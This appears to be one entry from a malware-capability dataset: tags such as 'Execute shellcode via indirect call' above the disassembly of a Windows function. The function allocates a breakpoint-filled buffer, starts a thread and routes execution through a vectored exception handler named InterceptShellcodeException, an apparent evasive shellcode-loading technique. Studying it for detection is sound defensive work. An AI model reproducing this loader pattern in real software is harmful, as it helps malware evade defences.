Function at 0x140001c71
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call dbg.__main
mov qword [rbp - 0x10], 0
mov dword [0x140008060], 0
mov dword [0x140008064], 1
mov dword [0x140008068], 1
mov dword [0x14000806c], 4
mov dword [0x140008070], 5
mov dword [0x140008074], 5
mov dword [0x140008078], 0xa
mov dword [0x14000807c], 2
mov dword [0x140008080], 0xc
mov dword [0x140008084], 2
mov dword [0x140008088], 0xe
mov dword [0x14000808c], 1
mov dword [0x140008090], 0xf
mov dword [0x140008094], 1
mov dword [0x140008098], 0x10
mov dword [0x14000809c], 1
mov dword [0x1400080a0], 0x11
mov dword [0x1400080a4], 3
mov dword [0x1400080a8], 0x14
mov dword [0x1400080ac], 5
mov dword [0x1400080b0], 0x19
mov dword [0x1400080b4], 4
mov dword [0x1400080b8], 0x1d
mov dword [0x1400080bc], 4
mov dword [0x1400080c0], 0x21
mov dword [0x1400080c4], 4
mov dword [0x1400080c8], 0x25
mov dword [0x1400080cc], 5
mov dword [0x1400080d0], 0x2a
mov dword [0x1400080d4], 3
mov dword [0x1400080d8], 0x2d
mov dword [0x1400080dc], 3
mov dword [0x1400080e0], 0x30
mov dword [0x1400080e4], 1
mov dword [0x1400080e8], 0x31
mov dword [0x1400080ec], 2
mov dword [0x1400080f0], 0x33
mov dword [0x1400080f4], 2
mov dword [0x1400080f8], 0x35
mov dword [0x1400080fc], 2
mov dword [0x140008100], 0x37
mov dword [0x140008104], 4
mov dword [0x140008108], 0x3b
mov dword [0x14000810c], 3
mov dword [0x140008110], 0x3e
mov dword [0x140008114], 2
mov dword [0x140008118], 0x40
mov dword [0x14000811c], 1
mov dword [0x140008120], 0x41
mov dword [0x140008124], 2
mov dword [0x140008128], 0x43
mov dword [0x14000812c], 4
mov dword [0x140008130], 0x47
mov dword [0x140008134], 3
mov dword [0x140008138], 0x4a
mov dword [0x14000813c], 3
mov dword [0x140008140], 0x4d
mov dword [0x140008144], 6
mov dword [0x140008148], 0x53
mov dword [0x14000814c], 3
mov dword [0x140008150], 0x56
mov dword [0x140008154], 2
mov dword [0x140008158], 0x58
mov dword [0x14000815c], 3
mov dword [0x140008160], 0x5b
mov dword [0x140008164], 1
mov dword [0x140008168], 0x5c
mov dword [0x14000816c], 3
mov dword [0x140008170], 0x5f
mov dword [0x140008174], 4
mov dword [0x140008178], 0x63
mov dword [0x14000817c], 3
mov dword [0x140008180], 0x66
mov dword [0x140008184], 2
mov dword [0x140008188], 0x68
mov dword [0x14000818c], 3
mov dword [0x140008190], 0x6b
mov dword [0x140008194], 4
mov dword [0x140008198], 0x6f
mov dword [0x14000819c], 3
mov dword [0x1400081a0], 0x72
mov dword [0x1400081a4], 3
mov dword [0x1400081a8], 0x75
mov dword [0x1400081ac], 3
mov dword [0x1400081b0], 0x78
mov dword [0x1400081b4], 1
mov dword [0x1400081b8], 0x79
mov dword [0x1400081bc], 4
mov dword [0x1400081c0], 0x7d
mov dword [0x1400081c4], 3
mov dword [0x1400081c8], 0x80
mov dword [0x1400081cc], 2
mov dword [0x1400081d0], 0x82
mov dword [0x1400081d4], 2
mov dword [0x1400081d8], 0x84
mov dword [0x1400081dc], 5
mov dword [0x1400081e0], 0x89
mov dword [0x1400081e4], 3
mov dword [0x1400081e8], 0x8c
mov dword [0x1400081ec], 2
mov dword [0x1400081f0], 0x8e
mov dword [0x1400081f4], 1
mov dword [0x1400081f8], 0x8f
mov dword [0x1400081fc], 4
mov dword [0x140008200], 0x93
mov dword [0x140008204], 3
mov dword [0x140008208], 0x96
mov dword [0x14000820c], 5
mov dword [0x140008210], 0x9b
mov dword [0x140008214], 4
mov dword [0x140008218], 0x9f
mov dword [0x14000821c], 3
mov dword [0x140008220], 0xa2
mov dword [0x140008224], 4
mov dword [0x140008228], 0xa6
mov dword [0x14000822c], 3
mov dword [0x140008230], 0xa9
mov dword [0x140008234], 2
mov dword [0x140008238], 0xab
mov dword [0x14000823c], 2
mov dword [0x140008240], 0xad
mov dword [0x140008244], 1
mov dword [0x140008248], 0xae
mov dword [0x14000824c], 1
mov dword [0x140008250], 0xaf
mov dword [0x140008254], 1
mov dword [0x140008258], 0xb0
mov dword [0x14000825c], 2
mov dword [0x140008260], 0xb2
mov dword [0x140008264], 2
mov dword [0x140008268], 0xb4
mov dword [0x14000826c], 2
mov dword [0x140008270], 0xb6
mov dword [0x140008274], 4
mov dword [0x140008278], 0xba
mov dword [0x14000827c], 2
mov dword [0x140008280], 0xbc
mov dword [0x140008284], 2
mov dword [0x140008288], 0xbe
mov dword [0x14000828c], 1
mov dword [0x140008290], 0xbf
mov dword [0x140008294], 2
mov dword [0x140008298], 0xc1
mov dword [0x14000829c], 1
mov dword [0x1400082a0], 0xc2
mov dword [0x1400082a4], 3
mov dword [0x1400082a8], 0xc5
mov dword [0x1400082ac], 5
mov dword [0x1400082b0], 0xca
mov dword [0x1400082b4], 1
mov dword [0x1400082b8], 0xcb
mov dword [0x1400082bc], 0xa
mov dword [0x1400082c0], 0xd5
mov dword [0x1400082c4], 7
mov dword [0x1400082c8], 0xdc
mov dword [0x1400082cc], 6
mov dword [0x1400082d0], 0xe2
mov dword [0x1400082d4], 2
mov dword [0x1400082d8], 0xe4
mov dword [0x1400082dc], 5
mov dword [0x1400082e0], 0xe9
mov dword [0x1400082e4], 6
mov dword [0x1400082e8], 0xef
mov dword [0x1400082ec], 2
mov dword [0x1400082f0], 0xf1
mov dword [0x1400082f4], 4
mov dword [0x1400082f8], 0xf5
mov dword [0x1400082fc], 2
mov dword [0x140008300], 0xf7
mov dword [0x140008304], 2
mov dword [0x140008308], 0xf9
mov dword [0x14000830c], 3
mov dword [0x140008310], 0xfc
mov dword [0x140008314], 2
mov dword [0x140008318], 0xfe
mov dword [0x14000831c], 5
mov dword [0x140008320], 0x103
mov dword [0x140008324], 2
mov dword [0x140008328], 0x105
mov dword [0x14000832c], 1
mov dword [0x140008330], 0x106
mov dword [0x140008334], 3
mov dword [0x140008338], 0x109
mov dword [0x14000833c], 2
mov dword [0x140008340], 0x10b
mov dword [0x140008344], 1
mov dword [0x140008348], 0x10c
mov dword [0x14000834c], 1
mov dword [0x140008350], 0x10d
mov dword [0x140008354], 1
mov dword [0x140008358], 0x10e
mov dword [0x14000835c], 1
mov dword [0x140008360], 0x10f
mov dword [0x140008364], 4
mov dword [0x140008368], 0x113
mov dword [0x14000836c], 1
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x114
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [0x140008040], rax
mov rax, qword [0x140008040]
test rax, rax
je 0x140002517
mov dword [rbp - 4], 0
jmp 0x140002481
mov rdx, qword [0x140008040]
mov eax, dword [rbp - 4]
add rax, rdx
mov byte [rax], 0xcc
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x114
jbe 0x14000246d
call sym.ResolveEndofTextSegment
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140002517
lea rax, [sym.InterceptShellcodeException]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rax, [sym.InterceptShellcodeException]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret